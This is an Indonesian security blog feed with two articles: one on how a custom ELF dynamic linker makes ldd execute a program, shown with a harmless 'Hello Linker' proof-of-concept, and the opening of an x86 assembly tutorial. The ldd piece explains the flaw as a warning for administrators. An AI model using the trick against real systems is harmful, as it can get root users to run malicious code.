Pada executable bertipe statically linked, setiap proses memiliki area memori sendiri khusus untuk code yang tidak bisa di-share (dipakai) oleh proses lain sehingga banyak terjadi duplikasi code yang mengakibatkan  pemborosan memori.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp_static --static
$ ls -l myapp_static
-rwxrwxr-x 1 masadmin masadmin 524172 Nov 12 15:23 myapp_static
$ gcc myapp.c -o myapp
$ ls -l myapp
-rwxrwxr-x 1 masadmin masadmin 4733 Nov 12 15:23 myapp</pre></td></tr></table></div>

<p align="justify">
Perhatikan contoh di atas, ukuran statically linked executable (myapp_static) adalah 516KB sedangkan dynamically linked (myapp) hanya 8KB. Statically linked jauh lebih besar ukurannya dibandingkan dinamically linked karena semua code dari library ikut di-include ke dalam file executable.
</p>
<p style="text-align: justify;"><strong>Dynamic Linker</strong></p>
<p align="justify">
Executable dynamically linked tidak bisa langsung dieksekusi karena membutuhkan code yang ada pada external library. Agar bisa dieksekusi diperlukan proses linking yang dilakukan sesaat sebelum eksekusi (at run-time). Linking at runtime ini dilakukan oleh program yang disebut dengan dynamic linker.
</p>
<p align="justify">
Setiap ELF executable yang dilink secara dinamis, ketika akan dieksekusi, OS akan terlebih dahulu mengeksekusi dynamic linker sebelum mengeksekusi program. Dynamic linker bertanggung jawab menyiapkan semua code library yang dibutuhkan agar program siap dieksekusi, proses ini juga dikenal dengan dependency resolving.
</p>
<p align="justify">
Setiap executable boleh menggunakan dynamic linker yang berbeda-beda. Full path lokasi dynamic linker yang dipakai suatu file disimpan dalam section &#8220;.interp&#8221; (interpreter) dalam executable. Default dynamic linker untuk Linux adalah ld-linux.so atau ld-linux.so.2. Dengan objdump, kita bisa melihat dynamic linker yang dipakai suatu file:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -j .interp -s ./myapp
&nbsp;
./myapp:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048124 2e3200                               .2.</pre></div></div>

<p align="justify">
Dalam contoh di atas, myapp menggunakan dynamic linker &#8220;/lib/ld-linux.so.2&#8243; yaitu dynamic linker default Linux.
</p>
<blockquote><p>
Ingat bahwa dynamic linker yang digunakan tidak harus dynamic linker default dari OS, setiap executable boleh memilih memakai dynamic linker apapun.</p></blockquote>
<p style="text-align: justify;"><strong>What is LDD</strong></p>
<p style="text-align: justify;">LDD dipakai untuk melihat shared library apa saja yang dipakai oleh suatu file executable yang dilink secara dinamik. Dengan kata lain untuk menampilkan library dependency suatu executable. Untuk lebih jelasnya, kita langsung saja praktek memakai LDD.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ldd /bin/ls
        linux-gate.so.1 =&gt;  (0x00452000)
        librt.so.1 =&gt; /lib/librt.so.1 (0x005d9000)
        libacl.so.1 =&gt; /lib/libacl.so.1 (0x005c4000)
        libselinux.so.1 =&gt; /lib/libselinux.so.1 (0x00562000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        libpthread.so.0 =&gt; /lib/libpthread.so.0 (0x00520000)
        /lib/ld-linux.so.2 (0x003b2000)
        libattr.so.1 =&gt; /lib/libattr.so.1 (0x00646000)
        libdl.so.2 =&gt; /lib/libdl.so.2 (0x0051a000)
        libsepol.so.1 =&gt; /lib/libsepol.so.1 (0x0057c000)
$ ldd ./myapp
        linux-gate.so.1 =&gt;  (0x0059f000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></div></div>

<p style="text-align: justify;">Dalam contoh di atas terlihat library apa saja yang diperlukan oleh /bin/ls dan ./myapp. Semua library dalam daftar di atas harus tersedia sebab program akan memanggil fungsi-fungsi yang ada pada library tersebut, bila ada satu saja library yang dibutuhkan tidak tersedia, maka program tidak bisa dieksekusi.</p>
<p style="text-align: justify;"><strong>Creating Dummy Linker</strong></p>
<p align="justify">
Sekarang kita akan coba membuat executable yang tidak memakai default dynamic linker (/lib/ld-linux.so.2). Linker sebenarnya adalah program yang sangat kompleks, namun dalam contoh ini saya akan membuat dummy linker. Saya memakai program hello yang dibuat dalam assembly di <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">artikel ini</a> sebagai dummy linker. Perhatikan source hello_ld.asm di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; write()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span>len
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span>msg
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
<span style="color: #666666; font-style: italic;">; exit(0)</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
section <span style="color: #000000; font-weight: bold;">.data</span>
msg <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;I'm Hello Linker!&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xa</span>
len equ $ <span style="color: #339933;">-</span> msg</pre></td></tr></table></div>

<p align="justify">
Source assembly di atas adalah source program yang akan kita pakai sebagai dummy linker. Compile program di atas dengan:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf hello_ld.asm</pre></div></div>

<p align="justify">
Setelah itu akan terbentuk object file hello_ld.o. Object file itu perlu di-link dengan ld agar menjadi statically linked executable.:
</p>
<blockquote><p>Dynamic linker haruslah statically linked executable, sebab bila tidak, berarti dynamic linker juga perlu dynamic linker alias mbulet! </p></blockquote>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ld -s -o hello_ld hello_ld.o</pre></div></div>

<p align="justify">
Setelah menjadi executable, kita bisa coba jalankan:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ./hello_ld
I'm Hello Linker!</pre></div></div>

<p align="justify">
Oke, sekarang kita sudah punya dummy dynamic linker. Sekarang kita buat program sederhana yang menggunakan hello_ld sebagai dynamic linker-nya. Program ini dibuat dengan bahasa C yang sangat sederhana untuk contoh saja.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;This is My App!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Sekarang kita compile source di atas 2x untuk menunjukkan bedanya menggunakan dynamic linker default dengan dynamic linker non-default. Pertama kita compile untuk memakai dynamic linker default Linux. Tidak ada opsi yang ditambahkan pada gcc karena kita memakai default linker.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp_defaultld
$ objdump -j .interp -s myapp_default
myapp_defaultld:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048124 2e3200                               .2.
&nbsp;
$ ./myapp_defaultld
This is My App!</pre></td></tr></table></div>

<p align="justify">
Sekarang kita compile source yang sama namun dengan menyebutkan dynamic linker yang akan dipakai. Opsi yang ditambahkan pada gcc adalah -Wl,&#8211;dynamic-linker seperti pada contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc -Wl,--dynamic-linker,./hello_ld myapp.c -o myapp_hellold
$ objdump -j .interp -s myapp_hellold
myapp_hellold:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2e2f6865 6c6c6f5f 6c6400             ./hello_ld.
$ ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">
Ketika myapp_hellold dijalankan yang muncul adalah &#8220;I&#8217;m Hello Linker!&#8221;, padahal dari source myapp.c seharusnya yang muncul adalah &#8220;This is My App!&#8221;. Hal ini bisa terjadi karena myapp_hellold memakai linker hello_ld (lihat isi .interp di atas). Ingat yang pertama kali dieksekusi bukan code programnya, tapi dynamic linker, jadi program hello_ld dieksekusi dulu, baru kemudian myapp_hellold akan dieksekusi.
</p>
<p align="justify">Seharusnya myapp_hellold juga dieksekusi, namun karena pada hello_ld ada instruksi exit(0) yang artinya keluar dari program (berhenti), jadi program berhenti sebelum mengeksekusi program myapp_hellold.
</p>
<p style="text-align: justify;"><strong>Force Execution using Default Linker</strong></p>
<p align="justify">
Sebelumnya sudah saya jelaskan dua contoh program: myapp_defaultld (memakai default linker), dan myapp_hellold (memakai hello_ld sebagai linker). Bila kita mengeksekusi dengan cara menyebutkan nama programnya di command prompt, maka program itu akan dieksekusi dengan linker yang ada di section &#8220;.interp&#8221;.
</p>
<p align="justify">
Namun kita bisa membuat program mengabaikan linker yang ada di .interp dan memakai default linker. Perhatikan contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ./myapp_hellold
I'm Hello Linker!
$ /lib/ld-linux.so.2 ./myapp_hellold
This is My App!</pre></td></tr></table></div>

<p align="justify">
Pada baris ke-1 kita mengeksekusi dengan cara langsung menyebutkan nama program di command prompt. Dengan cara tersebut, OS akan mengeksekusi linker yang ada di section .interp dalam file executable, baru kemudian mengeksekusi code program sehingga muncul &#8220;I&#8217;m Hello Linker!&#8221;, myapp_hellold tidak dieksekusi karena dummy linker hello_ld mengandung instruksi exit().</p>
<p align="justify">
Pada baris ke-3, kita menjalankan program dengan menyebutkan dynamic linker dan memberikan argumen berupa nama program yang akan diekekusi di command prompt. Dengan cara ini maka dynamic linker tersebutlah yang dipakai, bukan linker yang disebutkan dalam section .interp. Karena ld-linux.so.2 adalah linker beneran bukan dummy linker, maka program myapp_hellold berhasil dieksekusi dengan sempurna sehingga yang muncul adalah teks &#8220;This is My App!&#8221;.
</p>
<p><b>How LDD Works</b></p>
<p align="justify">
Sekarang kita masuk pada pembahasan mengenai LDD. LDD diapakai untuk menampilkan daftar library dependency atau library yang dibutuhkan oleh suatu executable yang dilink secara dinamis. Bagaimana cara LDD menampilkan daftar dependency library? Perhatikan contoh di bawah ini untuk memahaminya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ldd /bin/pwd
        linux-gate.so.1 =&gt;  (0x00e88000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /bin/pwd
        linux-gate.so.1 =&gt;  (0x00cc3000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/pwd
        linux-gate.so.1 =&gt;  (0x00a54000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></td></tr></table></div>

<p align="justify">
Pada baris ke-1 kita menggunakan program LDD untuk menampilkan library dependency. Pada baris ke-5 kita juga bisa menampilkan library dependency tanpa menggunakan program LDD. Caranya adalah dengan mengeset variabel environment LD_TRACE_LOADED_OBJECTS=1 ketika mengeksekusi /bin/pwd. Di command prompt kita bisa mengeset variabel environment sekaligus mengeksekusi program dalam satu baris seperti pada contoh di baris ke-5. Ketika environment variable tersebut diset, maka program tidak dieksekusi, dan library dependency program tersebut ditampilkan.
</p>
<p align="justify">
Pada baris ke-9 kita mengeset environment variable sekaligus mengeksekusi /bin/pwd dengan menggunakan linker /lib/ld-linux.so.2. Dengan cara ini linker yang ada di section .interp file /bin/pwd tidak dipakai (kebetulan /bin/pwd juga memakai linker /lib/ld-linux.so.2).
</p>
<p align="justify">
Dari contoh di atas terlihat bahwa LDD bekerja dengan cara mengeset variabel environment LD_TRACE_LOADED_OBJECTS=1, kemudian mengeksekusi program tersebut. Jadi sebenarnya tanpa program LDD kita juga bisa melihat library dependency suatu executable dengan cara seperti pada baris ke-5 dan baris ke-9 di atas.
</p>
<p align="justify">
Kalau diperhatikan LDD sebanarnya adalah bash script. Dalam script tersebut akan terlihat bahwa sebenarnya yang dilakukan ldd adalah mengeset environment variable LD_TRACE_LOADED_OBJECTS sebelum mengeksekusi program (jangan kaget, memang ldd mengeksekusi program itu!). Hanya itu yang dilakukan ldd, selanjutnya semua tergantung dari dynamic linker yang ada pada executable tersebut.
</p>
<p><b>Exploiting LDD for Arbitrary Code Execution</b></p>
<p align="justify">
Sampai di sini sepertinya tidak ada yang salah dengan LDD. Namun sebenarnya ada masalah serius dalam cara kerja LDD. Sekarang kita ganti contohnya executablenya bukan /bin/passwd tetapi myapp_defaultld dan myapp_hellold dan silakan perhatikan perbedaannya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ldd ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x007f8000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ ldd ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">Oops, ldd tidak bekerja pada myapp_hellold. Justru sistem terancam compromised karena program dieksekusi padahal niatnya hanya ingin melihat dependencynya saja. Kita lanjutkan dengan contoh berikutnya di bawah ini.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ LD_TRACE_LOADED_OBJECTS=1 ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x00970000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">Sekarang kita tidak memakai LDD, namun mengeset environment variable LD_TRACE_LOADED_OBJECTS=1 sebelum mengeksekusi program. Sekali lagi kita melihat, dependency library hanya muncul untuk program ./myapp_defaultld. Dependency ./myapp_hellold tidak muncul, malah program tersebut dieksekusi. Apa yang sebenarnya terjadi? Sebelum menjawabnya, perhatikan lagi contoh di bawah ini.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 ./myapp_hellold
        linux-gate.so.1 =&gt;  (0x004a2000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        ./hello_ld =&gt; /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x004fb000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></td></tr></table></div>

<p align="justify">Aha, kali ini kedua program tersebut berhasil dilihat dependency-nya. Kenapa kali ini bisa? Pada contoh yang terakhir ini kedua program dieksekusi dengan menggunakan dynamic linker &#8220;/lib/ld-linux.so.2&#8243; bukan linker yang ada pada masing-masing executable.</p>
<blockquote><p>Sebenarnya yang menampilkan dependency library suatu executable adalah dynamic linker, bukan ldd. Itu sebabnya mengapa myapp_hellold tidak bisa dilihat dependencynya karena memakai linker sendiri yaitu ./hello_ld (bukan default linker &#8220;/lib/ld-linux.so.2&#8243;)</p></blockquote>
<p align="justify">
Sebagai dynamic linker, ld-linux.so.2 bertanggung jawab melakukan dependency resolving dan menyiapkan program untuk dieksekusi. Setelah dynamic linker selesai dieksekusi, baru code pada program mulai dieksekusi. Namun ada satu kondisi di mana code program tidak dieksekusi, yaitu bila ada variable environment LD_TRACE_LOADED_OBJECTS. Bila ld-linux.so.2 menemukan variabel tersebut, maka program tidak diekseksui, dan ld-linux.so.2 menampilkan dependency library executable tersebut.
</p>
<blockquote><p>Kesalahan LDD adalah menganggap semua linker yang dipilih suatu executable (di section .interp file executable) bisa dipercaya. Dengan mengeset LD_TRACE_LOADED_OBJECTS sebelum mengeksekusi program, LDD berharap linker tidak mengeksekusi program tersebut.</p></blockquote>
<p align="justify">
LD_TRACE_LOADED_OBJECTS berfungsi sebagai penanda, atau rambu yang khusus dibuat agar linker tidak mengeksekusi program, namun hanya menampilkan dependency library. Namun masalahnya tidak semua linker menghormati aturan itu, attacker bisa membuat malicious linker yang tidak mempedulikan rambu LD_TRACE_LOADED_OBJECTS. Akibatnya seorang administrator/root yang berniat melihat dependency suatu executable, bisa terjebak mengeksekusi executable tersebut.
</p>
<p align="justify">
Administrator yang menggunakan ldd untuk melihat dependency list ./myapp_hellold akan terjebak karena bukannya mendapatkan dependency list, malah mengeksekusi program tersebut. Bila pada program tersebut terdapat malicious code, maka akibatnya bisa fatal sekali, terutama bila admin menggunakan ldd dengan account root.
</p>
<p>Reference: <a href="http://www.catonmat.net/blog/ldd-arbitrary-code-execution/">ldd arbitrary code execution</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Belajar Assembly di Linux</title>
		<link>http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/</link>
		<comments>http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 04:18:40 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[assembly]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1582</guid>
		<description><![CDATA[Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.
Artikel ini juga sebagai pembuka sebelum [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.</p>
<p style="text-align: justify;">Artikel ini juga sebagai pembuka sebelum saya membahas mengenai shellcode, buffer overflow dan teknik exploitasi lain yang membutuhkan pemahaman mengenai assembly dan sistem operasi. Bila anda ingin menjadi hacker yang baik, anda wajib menguasai bahasa ini.</p>
<p style="text-align: justify;"><strong>Bahasa Mesin, Assembly dan C<br />
</strong></p>
<p style="text-align: justify;">Pada dasarnya komputer adalah makhluk digital yang hanya mengerti digit 1 dan digit 0 (binary). Komputer hanya mau menerima data dalam bentuk binary dan juga hanya bisa mengerti perintah dalam bentuk binary. Perintah dalam bentuk binary ini disebut dengan bahasa mesin.</p>
<p style="text-align: justify;">Secara umum program bisa dilihat sebagai urutan langkah/perintah/instruksi untuk menyelesaikan sesuatu. Programmer bisa langsung membuat program dengan menuliskan perintah dalam bentuk 1 dan 0 (bahasa mesin), atau menggunakan bahasa tingkat tinggi yang lebih manusiawi seperti C, Visual Basic atau Java.</p>
<p><span id="more-1582"></span></p>
<blockquote><p>Hanya dua simbol yang dimengerti komputer, yaitu 1 dan 0</p></blockquote>
<p style="text-align: justify;">Perhatikan contoh sederhana ini: programmer ingin menyimpan nilai  register EAX ke dalam stack. Dalam bahasa mesin programmer harus menuliskan 01010000. Sedangkan dalam bahasa assembly programmer cukup menulis PUSH EAX. Manakah yang lebih manusiawi? Tentu menggunakan assembly lebih manusiawi. Sangat sulit bagi manusia bila harus selalu menggunakan 1 dan 0 setiap memberi perintah.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/codeinbinary.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/codeinbinary.jpg" alt="codeinbinary" title="codeinbinary" width="277" height="300" class="aligncenter size-full wp-image-1711" /></a></p>
<p style="text-align: justify;">Semakin tinggi bahasanya, maka semakin manusiawi cara memberi perintahnya. Contohnya bila programmer ingin menampilkan suatu teks di layar monitor, dalam bahasa C programmer cukup menuliskan printf(&#8220;Hello World&#8221;), mudah dan singkat. Namun dalam bahasa yang lebih rendah seperti assembly, dibutuhkan sekitar 5 langkah untuk menyelesaikan tugas yang sama.</p>
<p style="text-align: justify;">Semua program dalam bahasa apapun dibuatnya, pada akhirnya ketika akan dieksekusi akan diterjemahkan dalam bahasa mesin, karena itulah satu-satunya bahasa yang dimengerti prosesor.</p>
<p style="text-align: justify;"><strong>Bahasa Assembly dan Processor</strong></p>
<p style="text-align: justify;">Karena bahasa assembly adalah mnemonic (singkatan) untuk instruksi dalam bahasa mesin. Maka perintah-perintah dalam bahasa assembly terkait erat dengan prosesornya. Setiap prosesor memiliki instruction set masing-masing,sehingga bahasa assembly untuk prosesor Intel akan berbeda dengan assembly untuk prosesor lainnya.  Namun karena intel menguasai pangsa pasar prosesor maka hampir semua produsen prosesor membuat instruksi set yang kompatibel dengan intel.</p>
<blockquote><p>Bahasa assembly adalah mnemonic dari instruksi bahasa mesin (berbentuk binary) yang disebut opcode</p></blockquote>
<p style="text-align: justify;">Dokumentasi lengkap mengenai membuat program dalam prosesor intel, termasuk daftar instruction setnya bisa diperoleh di website resmi intel, di <a href="http://www.intel.com/products/processor/manuals/">intel developer manuals</a>. Dalam artikel ini saya hanya menjelaskan beberapa instruksi dasar yang paling banyak dipakai, selebihnya bisa dilihat di manual yang ada di website intel.</p>
<p style="text-align: justify;"><strong>Assembly AT&amp;T dan NASM</strong></p>
<p style="text-align: justify;">Ada dua sintaks bahasa assembly, yaitu dalam format AT&amp;T dan NASM. Sintaks AT&amp;T banyak dipakai dalam lingkungan GNU seperti GNU Assembler, dan menjadi format default GNU Debugger (GDB). Sedangkan format NASM dipakai oleh netwide assembler dan banyak dipakai di lingkungan windows.</p>
<blockquote>
<p style="text-align: justify;">Perlu dicatat bahwa perbedaan NASM dan AT&amp;T ini hanya masalah sintaks saja, keduanya menghasilkan bahasa mesin yang sama persis</p>
</blockquote>
<p style="text-align: justify;">Beberapa perbedaan antara format AT&amp;T dan NASM adalah:</p>
<ul>
<li>Baris komentar diawali dengan &#8220;;&#8221; semicolon untuk NASM. AT&amp;T mengawali komentar dengan # (hash)</li>
<li>Dalam format AT&amp;T, setiap register diawali dengan %. NASM tidak menggunakan %.</li>
<li>Dalam format AT&amp;T, setiap nilai literal (konstanta) diawali dengan $. NASM tidak menggunakan $.</li>
<li>Pada perintah yang menggunakan operand sumber dan tujuan, format AT&amp;T menuliskan tujuan sebagai operand kedua (contoh: CMD &lt;source&gt;,&lt;dest&gt;). Sedangkan NASM menuliskan tujuan sebagai operand pertama (contoh: CMD &lt;dest&gt;,&lt;source&gt;).</li>
</ul>
<p><strong>Register</strong></p>
<p style="text-align: justify;">Register adalah variabel internal yang sudah built-in di dalam prosesor yang bisa dipakai oleh programmer untuk bermacam-macam keperluan. Karena register posisinya di prosesor, bukan di memory, maka menggunakan register sebagai variabel jauh lebih cepat dibanding menggunakan variabel yang dismipan di suatu alamat di memori.</p>
<p style="text-align: justify;">Berikut adalah jenis-jenis register yang ada pada prosesor Intel.</p>
<table border="1">
<tbody>
<tr>
<th>Kategori</th>
<th>Nama</th>
<th>Penjelasan</th>
</tr>
<tr>
<td>General Purpose</td>
<td>EAX, EBX, ECX, EDX</td>
<td>Lebar data 32 bit, boleh diapakai untuk keperluan apa saja. E adalah Extended (karena awalnya register general purpose hanya 16 bit).</td>
</tr>
<tr>
<td></td>
<td>AX,BX,CX,DX</td>
<td>16 bit bawah dari register 32 bit di atas. AX adalah bagian 16 bit bawah dari EAX.</td>
</tr>
<tr>
<td></td>
<td>AH,AL,BH,BL,CH,CL,DH,DL</td>
<td>Bagian 8 bit dari register 16 bit di atas . AH adalah 8 bit atas dari AX. AL adalah 8 bit bawah dari AX.</td>
</tr>
<tr>
<td>Segment Register</td>
<td>CS, SS, DS, ES, FS, GS</td>
<td>Digunakan untuk menunjuk 16 bit awal alamat memori. CS = Code, SS = Stack, DS = Data, ES,FS,GS = Extra segment register</td>
</tr>
<tr>
<td>Offset Register</td>
<td></td>
<td>Digunakan untuk menunjuk 16 bit akhir alamat memori. Alamat memori ditunjukkan dengan gabungan segment dan offset.</td>
</tr>
<tr>
<td></td>
<td>EBP</td>
<td>Dipakai sebagai offset frame dalam stack. Biasanya menunjuk pada bottom of stack frame di suatu fungsi. ESP menunjukkan puncak stack, EBP menunjuk dasar stack.</td>
</tr>
<tr>
<td></td>
<td>ESI</td>
<td>Biasanya dipakai untuk offset string sumber dalam operasi yang melibatkan blok memori.</td>
</tr>
<tr>
<td></td>
<td>EDI</td>
<td>Biasanya dipakai untuk offset string tujuan dalam operasi yang melibatkan blok memori.</td>
</tr>
<tr>
<td></td>
<td>ESP</td>
<td>Stack pointer, menunjukkan puncak dari stack.</td>
</tr>
<tr>
<td>Special</td>
<td>EFLAGS</td>
<td>Tidak bisa dipakai programmer, hanya dipakai prosesor untuk hasil operasi logical dan state.</td>
</tr>
<tr>
<td></td>
<td>EIP</td>
<td>Tidak bisa dipakai programmer, hanya dipakai prosesor untuk menunjukkan alamat memori yang berisi instruksi berikutnya yang akan dieksekusi.</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Perhatikan gambar di bawah ini untuk melihat register-register yang ada dalam prosesor keluarga IA32 (Intel Architecture 32 bit).</p>
<div id="attachment_1592" class="wp-caption aligncenter" style="width: 526px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/intel-32bit-register.jpg"><img class="size-full wp-image-1592" title="intel-32bit-register" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/intel-32bit-register.jpg" alt="http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/01x86/80x86%20Architecture/registers.htm" width="516" height="324" /></a><p class="wp-caption-text">courtesy of iu-bremen.de</p></div>
<p style="text-align: justify;">Dalam gambar di ats terlihat bahwa register-register Extended (berawalan E) adalah register 32 bit. Agar kompatibel program-program sebelumnya ketika register hanya ada 16 bit, maka register yang lain adalah bagian bit bawah dari versi extendednya. Contohnya adalah register ESI dan SI. Register SI adalah 16 bit paling bawah dari ESI. Pada register EAX, AX adalah 16 bit paling bawah dari EAX. Register AX pun dipecah lagi menjadi 8 bit atas AH dan 8 bit bawah AL. Programmer bebas menggunakan yang mana saja sesuai kebutuhannya.</p>
